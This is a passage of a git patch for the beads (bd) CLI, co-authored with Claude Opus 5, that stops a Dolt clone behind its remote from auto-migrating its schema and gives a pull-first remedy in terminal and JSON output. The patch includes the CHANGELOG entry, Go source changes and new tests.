nothing to pull and still auto-migrate, verified through the CLI. The remedy differs by shape even though the command does not, so the two stay separate verdicts all the way out to the message, the agent directive and the JSON: one is told its pull fast-forwards, the other that it merges and how to resolve conflicts. An adopter that wires only the older callback keeps the narrower (pre-widening) reading rather than losing the stop. F3 (medium): with data-behind outranking fallbackReasonSharedStore, a shared store's refusal rendered with neither "co-resident" nor "#5920" anywhere — Options()' sharedRisk only ever decorated the adopt option. The #5920 consequence and the `bd migrate schema` consent step the retry needs there now travel with this reason, on every surface. F4 (medium): --json emitted only fallback_reason: "data-behind" while observed/expected/options stayed the blunt default, whose option 1 is ["bd migrate --force", "bd dolt push"] — the bug followed by a push that is guaranteed rejected while the clone is still behind — and whose option 2 no-ops. The pull-first remedy lived only in prose --json never emitted. observed/expected now describe this stop, options is the single pull-first option, and data_behind_shape says which pull to expect. decision stays absent and fallback_reason unchanged, so the key agents match on does not move. The blunt body is REPLACED for this reason rather than decorated: both of its options were measured wrong here, and leaving them under a note saying "pull first" is what sent the last round back into the wedge. Error() is deliberately untouched — the headline stays the blunt #4259 line, and the body's first sentence accounts for it. Both escape hatches are unchanged and re-measured: `bd migrate --force` and BD_ALLOW_REMOTE_MIGRATE=1 are still consulted before the smart gate (exit 0), and BD_SMART_GATE=0 still yields the blunt gate unconditionally — including for `bd dolt pull`, which is what opting out means. The two corrections from the first round are preserved: the "proceeds on its own" promise is still gated on !e.Shared, and the unparseable-BD_SMART_GATE carve-out still lets data-behind outrank an env complaint (BD_SMART_GATE=maybe re-measured). Tests cover both shapes at three levels. The schema routing table pins the widened predicate, the shape split, the error degradation, the IsStrictAncestor fallback, and every remedy surface including IsDataBehind's narrowness; neutralizing the widening fails three of its subtests. The real-Dolt regression test now runs both shapes over the same two-clone file:// fixture, measuring ahead/behind rather than stubbing it and asserting that the strict-ancestor relation is false exactly where the diverged shape needs the widening. A new embedded test builds a genuinely data-behind embedded store, proves OpenForRemoteSync gets through the refusal without migrating, and proves BD_SMART_GATE=0 on the same fixture does NOT. No S0 matrix cells flip. No matrix fixture configures a Dolt remote, so routeSmartGate stays unreachable; the only `dolt pull` probes are the proxied-mode typed refusals, which are classified in historyCapabilityMatrix before any store opens and are untouched. Refs #6575 Refs #6368 Refs #4566 Co-Authored-By: Claude Opus 5 * fix(schema): retarget the shared data-behind consent verb under --global Self-review catch on the previous commit's own new text. The #5920 consent verb the shared data-behind guidance names is TARGET-SCOPED: under --global the refused open aimed at beads_global, so the project-scoped `bd migrate schema` would consent the wrong database and leave the refusal in place. The existing shared-no-remote arm already handles this (printGlobalDatabaseConsentHint and the JSON retarget), and the new arm had to as well. The JSON retarget could not simply reuse the Decision test: this stop reaches the renderer through the default empty-Decision arm, keyed on the fallback reason, so `e.Decision == "shared-no-remote"` misses it. The human body now names the --global variant beside the project-scoped one, exactly as the shared-no-remote body does. The pull itself is target-agnostic and is deliberately NOT rewritten. Refs #6575 Co-Authored-By: Claude Opus 5 * fix(schema): give the data-behind read path the pull remedy too Round 2 fixed the write path and the agent payload, but left the two lenient embedded opens rendering the blunt #4259 coordination block. Those opens do not fail on this refusal - they warn and carry on - so the warning IS the whole contract for `bd list`, `bd ready`, `bd show` (openReadOnlyCommand) and `bd dolt commit` (openWorkingSetReconcile). Both printed `gateErr` (Error(), the one-line summary) followed by the unchanged sharedGuidance bullets, so on a data-behind clone the first thing bd said was: • designated migrator (only ONE machine): bd migrate --force && bd dolt push • every other clone (another already migrated): bd bootstrap Measured on a fast-forward clone at the previous head: that migrate lands v67 on a history the clone is still behind on, and the `bd dolt push` after it exits 1, rejected non-fast-forward - the #6575 state, reached by following bd's own instruction, from the same clone whose write path says in capitals not to run it. `bd bootstrap` no-ops against an existing workspace. `bd list` is the first thing a 1.1-era upgrader runs and what agents run constantly, so this was the most-read surface of the whole stop. Both arms now branch on gateErr.IsDataBehind() and print gateErr.UserMessage(), which is where the shape-branched pull-first body already lives - the same thing server mode's warnLenientOpenRefusal has printed all along. The intent framing is kept rather than replaced: the command in hand is still succeeding against the old schema, which the body (written for the fatal refusal) does not say. Refusals that are not the data-behind stop keep the coordination bullets, which are right for them; a second test pins that so the new body cannot swallow them. Verified by running, not asserting - `bd list` and `bd dolt commit` on real data-behind clones of both shapes, then `bd dolt pull` and a re-run, which migrates. Also fixes the agent payload contradicting itself. For data-behind, AgentDirective calls `bd dolt pull` the single option, Options annotates it `when: always, for this stop` and `risk: none - a pure fast-forward`, yet human_decision_required stayed hard-coded true, so an agent keying on that field stalled for approval of a step the same payload calls unconditional and riskless - and the cost of that stall is reaching for `bd migrate --force`. It is now false for exactly that arm. It stays true when DataDiverged (the pull merges and can need conflict resolution and a --strategy choice) and when Shared (the payload's second option needs an operator who can confirm every co-resident client is upgraded, #5920); getting either backwards would be worse than the contradiction. The `when` string is deliberately unchanged for both shapes - the pull is the only way forward either way; it is the risk, not the applicability, that diverging changes. Refs #6575 Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 67 +++ cmd/bd/events_journal_construction_test.go | 1 + cmd/bd/main.go | 25 + cmd/bd/remote_migrate_gate.go | 76 ++- cmd/bd/remote_sync_open_test.go | 354 ++++++++++++ cmd/bd/store_factory.go | 10 + .../dolt/smart_gate_data_behind_test.go | 277 ++++++++++ .../dolt/smart_remote_migrate_gate_test.go | 3 + internal/storage/dolt/store.go | 49 +- internal/storage/embeddeddolt/cache.go | 18 +- .../embeddeddolt/remote_sync_gate_test.go | 381 +++++++++++++ internal/storage/embeddeddolt/store.go | 129 ++++- internal/storage/embeddeddolt/store_stub.go | 5 + .../storage/schema/remote_migrate_gate.go | 216 +++++++- .../schema/smart_remote_migrate_gate.go | 114 +++- .../schema/smart_remote_migrate_gate_test.go | 502 ++++++++++++++++++ .../storage/versioncontrolops/fastforward.go | 38 +- 17 files changed, 2236 insertions(+), 29 deletions(-) create mode 100644 cmd/bd/remote_sync_open_test.go create mode 100644 internal/storage/dolt/smart_gate_data_behind_test.go create mode 100644 internal/storage/embeddeddolt/remote_sync_gate_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 7283a952b..d80f4c0a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,73 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Fixed + +- **The smart migrate gate no longer auto-migrates a clone whose data is behind + the remote, and `bd dolt pull` now works from that state** + ([#6575](https://github.com/gastownhall/beads/issues/6575)). The gate's + first-mover verdict was computed from schema facts alone, so a clone level + with the remote on schema but behind it in unpulled data commits was + classified a safe first-mover and migrated in place — minting local-only + schema commits on a history missing those commits, which can leave every + later `bd dolt pull` refusing to merge + ([#6368](https://github.com/gastownhall/beads/issues/6368)). The + equal-version path now reads the branch position its callers already supply + and stops with a pull-first remedy instead. + + The stop applies whenever the clone has commits left to pull, whether or not + it also has local commits of its own. Since bd auto-commits every write, a + clone that is both behind and ahead is the ordinary multi-machine state and + reaches the same wedge; it is told its pull will *merge* rather than + fast-forward, and how to resolve conflicts if it reports them. A clone that + is level, or that only has unpushed local commits with nothing to pull, + still auto-migrates exactly as before. + + Crucially, the refusal no longer blocks its own remedy. `bd dolt pull` opens + the store too, so on a refused clone it used to hit the very refusal that + prescribed it — and an embedded workspace has no external `dolt` binary to + fall back to, which left `BD_ALLOW_REMOTE_MIGRATE=1` (performing the + migration the stop exists to prevent) as the only way forward. `bd dolt pull` + now opens leniently for this one refusal, the way `bd dolt commit` does for + the dirty-working-set refusal + ([#4566](https://github.com/gastownhall/beads/issues/4566)); every other gate + refusal still fails that open. This supersedes the 1.3.0 upgrade note's + statement that the pending-migration gate refuses `bd dolt pull`: for the + data-behind stop it does not, by design. Re-run the command you were blocked + on once the pull completes and the migration proceeds. + + Commands that keep working through the stop say the same thing. `bd list`, + `bd ready` and `bd show` succeed against the old schema, and `bd dolt commit` + still commits the working set; on embedded storage all of them used to print + the blunt migrate-or-adopt coordination bullets while doing so — naming + `bd migrate --force && bd dolt push`, which on a data-behind clone applies + the migration this stop exists to prevent and then fails the push + non-fast-forward, and `bd bootstrap`, which no-ops against an existing + workspace. They now print the pull-first guidance, shape-branched the same + way the fatal refusal is, alongside the note that the command in hand + continued at the current schema. Refusals that are *not* the data-behind stop + keep the coordination bullets, which are right for them. + + `--json` callers get the same remedy the terminal does: `observed`, + `expected` and `options` describe the pull (a single `pull-first` option) + rather than the migrate-or-adopt decision that does not apply here, plus a + `data_behind_shape` of `fast-forward` or `diverged`. For the fast-forward + shape on a non-shared store — one unconditional option, no local commits, + nothing discarded — `human_decision_required` is now `false`, so an agent + can run the pull instead of stalling for approval of a step the same payload + calls riskless. It stays `true` for the diverged shape (the pull merges and + can need conflict resolution) and on a shared store (the follow-up consent + step needs an operator who can confirm every co-resident client is upgraded). + On a shared Dolt sql-server the guidance still carries #5920's consequence — + migrating promotes the schema for every co-resident client — and names the + `bd migrate schema` consent step the retry needs there. + + Both existing escape hatches are unchanged: `bd migrate --force` / + `BD_ALLOW_REMOTE_MIGRATE=1` are still consulted before the smart gate, and + `BD_SMART_GATE=0` still yields the blunt gate unconditionally (including for + `bd dolt pull`, which is what opting out means). Pulling before the first + open after upgrading avoids the state entirely. + ### Added - **`bd count` supports repeatable `--metadata-field key=value` filters** diff --git a/cmd/bd/events_journal_construction_test.go b/cmd/bd/events_journal_construction_test.go index ac762dc30..bdfb78fbd 100644 --- a/cmd/bd/events_journal_construction_test.go +++ b/cmd/bd/events_journal_construction_test.go @@ -58,6 +58,7 @@ var storeConstructors = map[string]map[string]bool{ "OpenForReadOnlyCommand": true, "OpenForPreviewCommand": true, "OpenForWorkingSetReconcile": true, + "OpenForRemoteSync": true, }, "github.com/steveyegge/beads/internal/storage/uow": { "NewDoltServerUOWProvider": true, diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 8433bc7f3..e68d7b02d 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -324,6 +324,30 @@ func isWorkingSetReconcileCommand(cmd *cobra.Command) bool { return parent.Name() == "dolt" || parent.Name() == "vc" } +// isRemoteSyncCommand reports whether cmd is `bd dolt pull`: the one command +// the #6575 data-behind migrate-gate refusal tells the operator to run. +// +// It is the same deadlock isWorkingSetReconcileCommand breaks for #4566, one +// refusal over. The gate stops a data-behind clone from migrating and names +// `bd dolt pull` as the remedy — but the pull opens the store too, so it hit +// that refusal before it could clear its cause. On an embedded clone there is +// no external `dolt` binary to fall back to, which left the refused clone with +// exactly one exit: BD_ALLOW_REMOTE_MIGRATE=1, i.e. performing the migration +// the refusal exists to prevent. Opening via embeddeddolt.OpenForRemoteSync / +// dolt.Config.RemoteSyncOpen tolerates that ONE gate reason and nothing else. +// +// Deliberately just the pull, not `bd sync`: sync also pushes and can write +// issue rows, and a write against a stale schema is the hazard the gate is +// about. The pull only moves the commit graph, which is precisely the +// precondition the refusal is waiting on. +func isRemoteSyncCommand(cmd *cobra.Command) bool { + if cmd.Name() != "pull" { + return false + } + parent := cmd.Parent() + return parent != nil && parent.Name() == "dolt" +} + // isForcedMigrate reports whether cmd is `bd migrate` or `bd migrate schema` // invoked with --force: the operator confirming they are the single designated // migrator, so the remote-migrate gate (#4259) must not block this run's store @@ -1622,6 +1646,7 @@ var rootCmd = &cobra.Command{ DisableAutoStart: policy.disableAutoStart, BeadsDir: beadsDir, LenientOpen: isWorkingSetReconcileCommand(cmd), + RemoteSyncOpen: isRemoteSyncCommand(cmd), // Bulk loads outlive the pool's 10s fast-fail on every server // pause (wy-sbgucn); explicit env/config settings still win. PoolReadTimeoutFallback: bulkLoadPoolReadTimeout(cmd), diff --git a/cmd/bd/remote_migrate_gate.go b/cmd/bd/remote_migrate_gate.go index 76076512b..eb0a2fb97 100644 --- a/cmd/bd/remote_migrate_gate.go +++ b/cmd/bd/remote_migrate_gate.go @@ -18,6 +18,49 @@ const ( sharedServersDocsURL = "https://github.com/gastownhall/beads/blob/main/docs/getting-started/upgrading.md#shared-servers" ) +// humanDecisionRequired reports whether this refusal is one an agent must stop +// and hand to a human, rather than act on. +// +// Every arm of this gate but one is a coordination or data-loss decision the +// process cannot make — which clone is the designated migrator, whether it is +// safe to discard unpushed work, whether every co-resident client is upgraded +// — so the answer is true by default, and was hard-coded true before the +// #6575 data-behind stop existed. +// +// The data-behind stop is the exception, and only in its narrowest shape. It +// carries a single option whose command is `bd dolt pull`, whose When is +// unconditional ("always, for this stop") and whose Risk is "none — a pure +// fast-forward"; AgentDirective says the same in prose. Leaving the field true +// there made this payload contradict itself: an agent keying on it stopped to +// ask a human to approve a step the rest of the payload calls unconditional +// and riskless — and the cost of that stall is the operator reaching for +// `bd migrate --force` instead, which is the #6575 wedge. +// +// Both narrowing conditions are deliberate, and getting either backwards would +// be worse than leaving the field true: +// +// - DataDiverged: the clone has commits of its own, so the pull MERGES. +// Options() already says so — its Risk for this shape is conflicts "that +// must be resolved before it completes", with a `--strategy ours|theirs` +// choice behind them. A merge that can require conflict resolution, and a +// strategy that decides whose rows win, is exactly a human decision. +// AgentDirective agrees ("surface a conflict outcome to the operator +// rather than forcing past it"). Stays true. +// +// - Shared: the pull itself is still safe, but on a shared store the payload +// carries a SECOND option, migrate-shared-after-pulling, whose When +// requires the operator to confirm every co-resident bd client is upgraded +// (#5920) — unobservable from this process. This field describes the +// payload, not its first option, so one option needing a human makes the +// answer true. AgentDirective agrees ("Do NOT auto-run it"). Stays true. +// +// What is NOT narrowed on: the When string, which is "always, for this stop" +// in both shapes and correctly so — the pull is the only way forward either +// way. It is the Risk, not the applicability, that the diverged shape changes. +func humanDecisionRequired(e *schema.RemoteMigrateGateError) bool { + return !(e.IsDataBehind() && !e.DataDiverged && !e.Shared) +} + // handleRemoteMigrateGateJSON renders the #4259 remote-migrate gate error as a // structured JSON error block for agent consumption. // @@ -44,7 +87,13 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if globalFlag { sharedConsent = schema.SharedConsentCommandGlobal } - retargetShared := globalFlag && e.Decision == "shared-no-remote" + // The #6575 data-behind stop on a SHARED store carries the same consent + // verb in its second option (migrate-shared-after-pulling), so it needs + // the same retarget: under --global the project-scoped verb would + // consent the wrong database and leave the refusal in place. It reaches + // here through the default arm (empty Decision), so the Decision test + // alone would miss it. + retargetShared := globalFlag && (e.Decision == "shared-no-remote" || (e.IsDataBehind() && e.Shared)) opts := make([]map[string]interface{}, 0, len(e.Options())) for _, o := range e.Options() { @@ -76,7 +125,7 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { "latest_version": e.LatestVersion, "pending": e.Pending, "severity": "blocking", - "human_decision_required": true, + "human_decision_required": humanDecisionRequired(e), "observed": fmt.Sprintf("%d pending schema migration(s) and a configured remote", e.Pending), "expected": "exactly one designated clone migrates and publishes; every other clone adopts the result", "options": opts, @@ -122,6 +171,29 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if e.FallbackReason != "" { gate["fallback_reason"] = e.FallbackReason } + // gastownhall/beads#6575: the data-behind stop is a blunt stop with + // a specific, verified, one-command remedy, and the blunt + // observed/expected pair above describes a decision that does not + // apply to it. Leaving them in place pointed an agent at + // `bd migrate --force` (the bug) followed by a `bd dolt push` that + // is guaranteed to be rejected non-fast-forward while the clone is + // still behind. e.Options() already returns the pull-first option + // for this reason, so options/hint are correct above; these two + // fields are what was still lying. decision stays absent — the + // stop has no Decision, and fallback_reason is the key an agent + // matches on. + if e.IsDataBehind() { + observed := "this clone is level with the remote on schema but is BEHIND it in commits it has not pulled, so the pending migration would land on a history missing them (#6575, #6368)" + if e.DataDiverged { + observed += "; it also has commits of its own, so pulling merges rather than fast-forwards" + gate["data_behind_shape"] = "diverged" + } else { + observed += "; it has no commits of its own, so pulling is a pure fast-forward" + gate["data_behind_shape"] = "fast-forward" + } + gate["observed"] = observed + gate["expected"] = "run `" + schema.DataBehindRemedyCommand + "` first; the migration is only allowed once this clone has nothing left to pull" + } } m["remote_migrate_gate"] = gate } diff --git a/cmd/bd/remote_sync_open_test.go b/cmd/bd/remote_sync_open_test.go new file mode 100644 index 000000000..2059b682d --- /dev/null +++ b/cmd/bd/remote_sync_open_test.go @@ -0,0 +1,354 @@ +package main + +import ( + "bytes" + "encoding/json" + "io" + "os" + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestIsRemoteSyncCommand pins which command gets the #6575 narrow lenient +// open. It is exactly `bd dolt pull` — the command the data-behind refusal +// prescribes, which before this fix was blocked by the refusal that prescribed +// it (the #4566 deadlock shape, one refusal over). +// +// The negative cases matter as much as the positive one: `bd sync` also pushes +// and can write issue rows, and a write against a stale schema is the hazard +// the gate exists for, so it is deliberately NOT enrolled. A bare `pull` with +// no `dolt` parent must not match either, or any future `bd pull` would +// inherit an exemption nobody reviewed. +func TestIsRemoteSyncCommand(t *testing.T) { + build := func(parent, child string) *cobra.Command { + c := &cobra.Command{Use: child} + if parent != "" { + p := &cobra.Command{Use: parent} + p.AddCommand(c) + } + return c + } + cases := []struct { + parent, child string + want bool + }{ + {parent: "dolt", child: "pull", want: true}, + {parent: "dolt", child: "push", want: false}, + {parent: "dolt", child: "commit", want: false}, + {parent: "vc", child: "pull", want: false}, + {parent: "", child: "pull", want: false}, + {parent: "", child: "sync", want: false}, + } + for _, c := range cases { + name := c.parent + " " + c.child + t.Run(strings.TrimSpace(name), func(t *testing.T) { + if got := isRemoteSyncCommand(build(c.parent, c.child)); got != c.want { + t.Errorf("isRemoteSyncCommand(%q) = %v, want %v", name, got, c.want) + } + }) + } +} + +// TestIsRemoteSyncCommandMatchesTheRealPullCommand guards the classification +// against the real command tree rather than a hand-built stand-in, so renaming +// or re-parenting `bd dolt pull` cannot silently drop the exemption and +// re-wedge the refused cohort. +func TestIsRemoteSyncCommandMatchesTheRealPullCommand(t *testing.T) { + if !isRemoteSyncCommand(doltPullCmd) { + t.Error("isRemoteSyncCommand(doltPullCmd) = false; the data-behind refusal's own remedy would be blocked again (#6575)") + } + if isRemoteSyncCommand(doltPushCmd) { + t.Error("isRemoteSyncCommand(doltPushCmd) = true; only the pull may open past the refusal") + } + if isRemoteSyncCommand(doltCommitCmd) { + t.Error("isRemoteSyncCommand(doltCommitCmd) = true; the commit has its own #4566 classification") + } +} + +// TestHandleRemoteMigrateGateJSON_DataBehind covers the review's F4: the +// agent-facing block for the #6575 stop used to carry only an opaque +// `fallback_reason: "data-behind"` while observed/expected/options stayed the +// blunt migrate-or-adopt default — so an agent reading the documented contract +// surfaced `bd migrate --force` (the bug) followed by a `bd dolt push` that is +// guaranteed to be rejected non-fast-forward while the clone is still behind, +// plus a `bd bootstrap` that no-ops. The prose remedy existed only in text +// --json never emitted. +func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { + capture := func(t *testing.T, gate *schema.RemoteMigrateGateError) map[string]interface{} { + t.Helper() + origStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatal(pipeErr) + } + os.Stderr = w + defer func() { os.Stderr = origStderr }() + handleRemoteMigrateGateJSON(gate) + _ = w.Close() + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + _ = r.Close() + var parsed map[string]interface{} + if err := json.Unmarshal(buf.Bytes(), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, buf.String()) + } + return parsed + } + + for _, tc := range []struct { + name string + diverged bool + wantShape string + }{ + {name: "fast-forward shape", diverged: false, wantShape: "fast-forward"}, + {name: "diverged shape", diverged: true, wantShape: "diverged"}, + } { + t.Run(tc.name, func(t *testing.T) { + gate := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", + DataDiverged: tc.diverged, + } + parsed := capture(t, gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + // The machine-readable reason an agent matches on is unchanged. + if got, _ := obj["fallback_reason"].(string); got != "data-behind" { + t.Errorf("fallback_reason = %v, want \"data-behind\"", obj["fallback_reason"]) + } + if _, ok := obj["decision"]; ok { + t.Errorf("this is a blunt stop and must not carry a decision key, got %v", obj["decision"]) + } + if got, _ := obj["data_behind_shape"].(string); got != tc.wantShape { + t.Errorf("data_behind_shape = %v, want %q", obj["data_behind_shape"], tc.wantShape) + } + // observed/expected must describe THIS stop, not the + // designated-migrator decision that does not apply to it. + observed, _ := obj["observed"].(string) + if !strings.Contains(observed, "BEHIND") { + t.Errorf("observed = %q, want the behind-the-remote framing", observed) + } + expected, _ := obj["expected"].(string) + if !strings.Contains(expected, schema.DataBehindRemedyCommand) { + t.Errorf("expected = %q, want the pull-first remedy", expected) + } + if strings.Contains(expected, "designated clone migrates") { + t.Errorf("expected = %q, still the blunt migrate-or-adopt framing", expected) + } + // options must be the single measured remedy, and must not hand an + // agent either of the two dead ends. + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 1 { + t.Fatalf("options = %v, want exactly one (the pull)", obj["options"]) + } + o, _ := rawOpts[0].(map[string]interface{}) + if id, _ := o["id"].(string); id != "pull-first" { + t.Errorf("option id = %v, want \"pull-first\"", o["id"]) + } + cmds, _ := o["commands"].([]interface{}) + if len(cmds) != 1 || cmds[0] != schema.DataBehindRemedyCommand { + t.Errorf("option commands = %v, want [%q]", cmds, schema.DataBehindRemedyCommand) + } + if o["when"] == nil || o["risk"] == nil { + t.Errorf("option missing when/risk: %v", o) + } + // The top-level hint stays the non-runnable directive, and must + // name the remedy rather than the escape hatch. + hint, _ := parsed["hint"].(string) + if hint != gate.AgentDirective() { + t.Errorf("hint = %q, want the agent directive", hint) + } + if !strings.Contains(hint, schema.DataBehindRemedyCommand) { + t.Errorf("hint = %q, want it to name the remedy", hint) + } + if hint == gate.EscapeHint() { + t.Errorf("hint must not be the runnable escape command %q", gate.EscapeHint()) + } + // Nothing anywhere in the block may offer the migrate/push pair or + // the no-op bootstrap for this state. + blob, err := json.Marshal(parsed) + if err != nil { + t.Fatal(err) + } + for _, banned := range []string{"bd bootstrap", "bd migrate --force"} { + if strings.Contains(string(blob), banned) { + t.Errorf("the data-behind block offers %q, which was measured not to work from this state:\n%s", banned, blob) + } + } + }) + } + + // A shared, data-behind refusal carries the #5920 consent verb in its + // second option, and that verb is target-scoped: under --global the + // project-scoped `bd migrate schema` would consent the WRONG database and + // leave the refusal in place. This stop reaches the renderer through the + // default (empty-Decision) arm, so the retarget cannot be keyed on + // Decision alone the way shared-no-remote's is. + t.Run("shared under --global retargets the consent verb", func(t *testing.T) { + origGlobal := globalFlag + globalFlag = true + defer func() { globalFlag = origGlobal }() + + gate := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", + Shared: true, + } + parsed := capture(t, gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 2 { + t.Fatalf("options = %v, want the pull plus the shared consent step", obj["options"]) + } + consent, _ := rawOpts[1].(map[string]interface{}) + cmds, _ := consent["commands"].([]interface{}) + if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandGlobal { + t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandGlobal) + } + // The pull is target-agnostic and must NOT be rewritten. + pull, _ := rawOpts[0].(map[string]interface{}) + pullCmds, _ := pull["commands"].([]interface{}) + if len(pullCmds) != 1 || pullCmds[0] != schema.DataBehindRemedyCommand { + t.Errorf("pull option commands = %v, want [%q] unchanged", pullCmds, schema.DataBehindRemedyCommand) + } + }) +} + +// TestHandleRemoteMigrateGateJSON_HumanDecisionRequired pins the one arm of +// this payload where human_decision_required is false, and — more importantly +// — the three where it must stay true. +// +// The field was hard-coded true, which made the data-behind payload contradict +// itself: the single option it carries is annotated `when: "always, for this +// stop"` and `risk: "none — a pure fast-forward"`, and AgentDirective says the +// same, yet an agent keying on this field stopped to ask a human to approve an +// unconditional, riskless step. The cost of that stall is the operator +// reaching for `bd migrate --force` instead — the #6575 wedge. +// +// The two narrowings are the substance of the finding: a diverged pull MERGES +// and can need conflict resolution (and a `--strategy ours|theirs` choice), and +// a shared store carries a SECOND option whose precondition is operator +// confirmation that every co-resident client is upgraded (#5920), which this +// process cannot observe. Either one flipping to false would be worse than the +// contradiction it replaced. +func TestHandleRemoteMigrateGateJSON_HumanDecisionRequired(t *testing.T) { + capture := func(t *testing.T, gate *schema.RemoteMigrateGateError) map[string]interface{} { + t.Helper() + origStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatal(pipeErr) + } + os.Stderr = w + defer func() { os.Stderr = origStderr }() + handleRemoteMigrateGateJSON(gate) + _ = w.Close() + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + _ = r.Close() + var parsed map[string]interface{} + if err := json.Unmarshal(buf.Bytes(), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, buf.String()) + } + return parsed + } + + for _, tc := range []struct { + name string + gate *schema.RemoteMigrateGateError + want bool + why string + }{ + { + name: "data-behind, fast-forward, not shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind"}, + want: false, + why: "the single option is an unconditional, riskless, non-destructive pull", + }, + { + name: "data-behind, diverged", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: true}, + want: true, + why: "the pull merges and can need conflict resolution / a strategy choice", + }, + { + name: "data-behind, shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", Shared: true}, + want: true, + why: "the second option needs operator confirmation that every co-resident client is upgraded (#5920)", + }, + { + name: "data-behind, diverged and shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: true, Shared: true}, + want: true, + why: "both narrowings apply", + }, + { + name: "blunt remote-backed stop", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1}, + want: true, + why: "only ONE clone may migrate a shared remote — a coordination decision", + }, + { + name: "adopt", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "adopt"}, + want: true, + why: "adoption is destructive", + }, + { + name: "fork-skew", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "fork-skew"}, + want: true, + why: "picking a canonical clone discards the others' unpushed work", + }, + { + name: "shared-no-remote", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "shared-no-remote", Shared: true}, + want: true, + why: "other clients' binary versions are not observable from this process", + }, + } { + t.Run(tc.name, func(t *testing.T) { + parsed := capture(t, tc.gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + got, ok := obj["human_decision_required"].(bool) + if !ok { + t.Fatalf("human_decision_required missing or not a bool: %T", obj["human_decision_required"]) + } + if got != tc.want { + t.Errorf("human_decision_required = %v, want %v — %s", got, tc.want, tc.why) + } + // The contradiction is only resolved if the rest of the payload + // still says what it said: a false here has to come with the + // unconditional, riskless single option it is claiming. + if !tc.want { + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 1 { + t.Fatalf("human_decision_required=false with options = %v; it may only be false for the single-option pull", obj["options"]) + } + o, _ := rawOpts[0].(map[string]interface{}) + if risk, _ := o["risk"].(string); !strings.HasPrefix(risk, "none") { + t.Errorf("human_decision_required=false but option risk = %q; want a risk-free option", risk) + } + if when, _ := o["when"].(string); !strings.HasPrefix(when, "always") { + t.Errorf("human_decision_required=false but option when = %q; want an unconditional option", when) + } + } + }) + } +} diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index c6cedd9bd..00f1afb32 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -109,6 +109,16 @@ func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, // branch is the embedded half of one policy, not the whole of it. return embeddeddolt.OpenForWorkingSetReconcile(ctx, cfg.BeadsDir, cfg.Database, "main") } + if cfg.RemoteSyncOpen { + // `bd dolt pull` must not be bricked by the #6575 data-behind gate + // refusal, because that refusal's entire remedy IS this pull: the gate + // stops a clone that is behind the remote from migrating and tells the + // operator to pull first, and an embedded clone has no external dolt + // binary to do it with. Same deadlock as #4566, and this open tolerates + // only that one gate reason (see openRemoteSync). The server arm above + // honors the same cfg.RemoteSyncOpen inside dolt.New. + return embeddeddolt.OpenForRemoteSync(ctx, cfg.BeadsDir, cfg.Database, "main") + } return embeddeddolt.Open(ctx, cfg.BeadsDir, cfg.Database, "main") } diff --git a/internal/storage/dolt/smart_gate_data_behind_test.go b/internal/storage/dolt/smart_gate_data_behind_test.go new file mode 100644 index 000000000..54d0395d3 --- /dev/null +++ b/internal/storage/dolt/smart_gate_data_behind_test.go @@ -0,0 +1,277 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "fmt" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/doltutil" + "github.com/steveyegge/beads/internal/storage/schema" + 